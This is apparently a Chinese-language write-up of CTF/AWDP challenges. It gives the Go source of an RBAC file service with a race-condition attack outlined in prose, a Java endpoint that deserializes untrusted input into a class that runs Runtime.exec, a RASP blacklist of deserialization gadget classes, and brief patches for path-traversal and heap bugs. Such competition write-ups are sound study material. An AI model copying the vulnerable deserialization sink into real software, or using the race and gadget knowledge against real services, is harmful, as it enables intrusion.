                                                RBACToGrant["rbac:change_return:1"] = 1
                                                RBACToGrant["file:"+value] = 1
                                                RBACToGrant["rbac:change_return:0"] = 1
                                                maxDeep += 3
                                        } else {
                                                break
                                        }

                                } else {
                                        if maxDeep < 8 {
                                                RBACToGrant["file:"+value] = 1
                                                maxDeep++
                                        } else {
                                                break
                                        }

                                }

                        }
                }
                updateRBAC(RBACToGrant)
                result, err := execCommand(execStruct.FuncName, execStruct.Param)
                if err != nil {
                        response = ResTemplate{
                                Success: false,
                                Data:    map[string]string{"error": err.Error()},
                        }
                        c.JSON(400, response)

                } else {
                        response = ResTemplate{
                                Success: true,
                                Data:    map[string]string{"result": result},
                        }
                        initRBAC()
                        c.JSON(200, response)
                }

        })
        r.Run(":80")
}

func initRBAC() {
        RBACList = make(map[string]int)
        RBACList["file:read"] = 0
        RBACList["file:return"] = 0
        RBACList["flag:read"] = 0
        RBACList["flag:return"] = 0
        RBACList["pwd:read"] = 0
        RBACList["directory:read"] = 0
        RBACList["directory:return"] = 0
        RBACList["rbac:read"] = 1
        RBACList["rbac:change_read"] = 1
        RBACList["rbac:change_return"] = 0

}

func updateRBAC(RBACToGrant map[string]int) {
        for key, value := range RBACToGrant {
                if strings.HasSuffix(key, ":read") {
                        if RBACList["rbac:change_read"] == 1 {
                                RBACList[key] = value
                        }
                } else if strings.HasSuffix(key, ":return") {
                        if RBACList["rbac:change_return"] == 1 {
                                RBACList[key] = value
                        }
                } else if key == "rbac:change_return:1" {
                        RBACList["rbac:change_return"] = 1

                } else if key == "rbac:change_return:0" {
                        RBACList["rbac:change_return"] = 0

                } else {
                        RBACList[key] = value
                }

        }
}

func execCommand(funcName string, param string) (string, error) {

        if funcName == "getPwd" {
                if RBACList["pwd:read"] == 1 {
                        pwd, err := os.Getwd()
                        return pwd, err

                } else {
                        return "No Permission", nil
                }
        } else if funcName == "getDirectory" {
                // read directory
                if RBACList["directory:read"] == 1 {
                        var fileNames []string
                        err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
                                fileNames = append(fileNames, info.Name())
                                return nil
                        })
                        if err != nil {
                                return "error", err
                        }
                        directoryFiles := strings.Join(fileNames, " ")
                        if RBACList["directory:return"] == 1 {
                                return directoryFiles, nil
                        } else {
                                return "the directory " + param + " exists", nil
                        }

                } else {
                        return "No Permission", nil
                }

        } else if funcName == "getFile" {
                // read file
                if RBACList["file:read"] == 1 {
                        if strings.Contains(param, "flag") {
                                if RBACList["flag:read"] != 1 {
                                        return "No Permission", nil
                                }

                        }
                        data, err := os.ReadFile(param)
                        if err != nil {
                                return "file:"+param+" doesn't exist", nil
                        }
                        content := string(data)
                        if RBACList["file:return"] == 0 {
                                return "the file " + param + " exists", nil
                        } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
                                return content, nil
                        } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
                                return content, nil
                        } else {
                                return "the file " + param + " exists", nil
                        }

                } else {
                        return "No Permission", nil
                }
        } else {
                return "No such func", errors.New("No such func")
        }
}

一个 RBAC 控制文件读取&列目录的服务

fix

因为这题 fix 被很多队直接秒了,大胆猜测下面的判断条件加个 ! 即可

if RBACList["file:return"] == 0 {
        return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
        return content, nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
        return content, nil
} else {
        return "the file " + param + " exists", nil
}

attack

调试思路是直接 fmt.Println 打印出对应的变量,然后重新起服务 go build main.go && ./main

要想读取 flag 就要满足 flag:return 的值为 1,实际打印出来可以发现这里 flag:return 为 0

跟踪一下代码逻辑可以找到问题:

func updateRBAC(RBACToGrant map[string]int) {
        for key, value := range RBACToGrant {
                if strings.HasSuffix(key, ":read") {
                        if RBACList["rbac:change_read"] == 1 {
                                RBACList[key] = value
                        }
                } else if strings.HasSuffix(key, ":return") {
                        if RBACList["rbac:change_return"] == 1 {
                                RBACList[key] = value
                        }
                } else if key == "rbac:change_return:1" {
                        RBACList["rbac:change_return"] = 1

                } else if key == "rbac:change_return:0" {
                        RBACList["rbac:change_return"] = 0

                } else {
                        RBACList[key] = value
                }

        }
}

在这里给 flag:return 进行赋值,那么就需要 rbac:change_return 为 1,而 rbac:change_return 的初始值为 0

// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
        if maxDeep < 5 {
                RBACToGrant["rbac:change_return:1"] = 1
                RBACToGrant["file:"+value] = 1
                RBACToGrant["rbac:change_return:0"] = 1
                maxDeep += 3
        } else {
                break
        }

} else {
        if maxDeep < 8 {
                RBACToGrant["file:"+value] = 1
                maxDeep++
        } else {
                break
        }

}

这里会临时赋予 rbac:change_return 为 1 来给 file:return 赋值

打印一下 updateRBAC 方法内每次更新的 key,发现key的顺序会变动,考虑条件竞争在 rbac:change_return:1 时让 flag:return 和 file:return 竞争

本地和远程都很容易跑崩服务,请求包尽量改小一点可以避免502


本地部署的14b大模型早已看穿这一切(

image-20250724174513798


web-security_rasp

package com.awdp.securityRasp.Controller;

import com.awdp.securityRasp.user.admin;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.script.ScriptException;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/user"})
public class IndexController {
    @PostMapping({"/info"})
    public String ser(@RequestParam String data) throws IOException, ScriptException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
        admin user = (admin)ois.readObject();
        return user.getName();
    }
}
package com.awdp.securityRasp.user;

import java.io.IOException;
import java.io.Serializable;

public class admin implements Serializable {
    public String name;
    private String cmd;

    public admin(String name) {
        this.name = name;
    }

    public String getName() {
        return this.name;
    }

    private void NoBackDoor() throws IOException {
        Runtime.getRuntime().exec(this.cmd);
    }
}

很明显的反序列化调用 NoBackDoor,全靠 rasp 配置来防

fix

直接看 lib ,里面有 c3p0,jackson 等

在 rasp 里的 official.js 过滤对应类即可

// transformer 反序列化攻击
deserialization_blacklist: {
    name:   '算法1 - 反序列化黑名单过滤',
    action: 'block',
clazz: [
        'org.apache.commons.collections.functors.ChainedTransformer',
        'org.apache.commons.collections.functors.InvokerTransformer',
        'org.apache.commons.collections.functors.InstantiateTransformer',
        'org.apache.commons.collections4.functors.InvokerTransformer',
        'org.apache.commons.collections4.functors.InstantiateTransformer',
        'org.codehaus.groovy.runtime.ConvertedClosure',
        'org.codehaus.groovy.runtime.MethodClosure',
        'org.springframework.beans.factory.ObjectFactory',
        'org.apache.xalan.xsltc.trax.TemplatesImpl',
        'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
        'com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase',
        'com.fasterxml.jackson.databind.node.POJONode',
        'com.fasterxml.jackson.annotation.JsonTypeInfo',
        'com.sun.org.apache.xalan.internal.xsltc.trax',
        'com.fasterxml.jackson.databind.ObjectMapper',
        'javassist.ClassPool',
        'javassist.CtClass',
        'javassist.CtMethod',
        'javax.management',
        'javax.swing',
        'com.sun.org.apache.xml.internal',
        'com.sun.syndication.feed.impl',
        'java.security',
        'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource',
        'sun.rmi.server.MarshalOutputStream',
        'org.springframework.context.support.ClassPathXmlApplicationContext',
        'org.slf4j.ext.EventData'
    ]
},

web-ota(Unsolved)

java17

byd附件给的jar包有问题不能直接起

要手动给 jwt.secret 赋 32 位长度的密钥才能启动,交个附件原包上去都check失败可太逆天了(

fix

package org.ota.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class WebConfig {
    @Bean
    public RouterFunction<ServerResponse> route() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/opt/static/"));
    }
}

Springboot 3.3.3

看群u说直接更新springboot包就行了,有 CVE-2024-38819 打目录穿越


pwn-DarkHeap

fix

删除记录后没有给记录存在的标志置零,手动添一下就好。

pwn-embbed_httpd

fix

高松灯预测, delete 有问题(

把vohttpd_loop()里对socketdata_delete()的调用全部nop掉就过了。


Thinking

今年和去年的队伍阵容相比带了俩吉祥物,本来觉得国二都困难的,没想到还能和去年名次一样

最近也是在上班当牛马没怎么研究ctf,这个部分晚点再补上吧,感慨的话还挺多的